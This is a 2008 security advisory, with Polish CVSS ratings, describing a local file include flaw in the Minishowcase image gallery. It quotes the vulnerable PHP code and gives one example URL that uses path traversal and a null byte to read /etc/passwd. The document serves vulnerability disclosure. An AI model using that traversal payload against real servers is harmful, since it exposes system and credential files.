Local File Include Vulnerability in Minishowcase v09b136

2008.08.02
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-034 Application: Minishowcase Image Gallery Versions Affected: v09b136 Vendor URL: http://minishowcase.frwrd.net Bug: Local File Include Exploits: YES Reported: 14.07.2008 Second report: 22.07.2008 Vendor response: NONE Solution: NONE Date of Public Advisory: 29.07.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php Vulnerable GET parameters "lang". Successful exploitation requires that "register_globals" is enabled. Code **** ################################################# ... $_dir_file = dirname(dirname(__FILE__)); $_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']); if ($_dir_file != $_dir_path) { if (!isset($settings['minishowcase_url']) || ($settings['minishowcase_url'] == "")) { die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;backgroun d:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>"); } } ... if (isset($_GET["lang"])) $set_language = $_GET["lang"]; $langfile = ROOT.'languages/'.$set_language.'.php'; require_once($langfile); ################################################# Example: http://[server]/[installdir]/libraries/general.init.php?settings[minisho wcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd %00 Solution ******** No response or any updates from vendor. About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

Referencje:

http://xforce.iss.net/xforce/xfdb/44046
http://www.securityfocus.com/archive/1/archive/1/494864/100/0/threaded
http://www.milw0rm.com/exploits/6156


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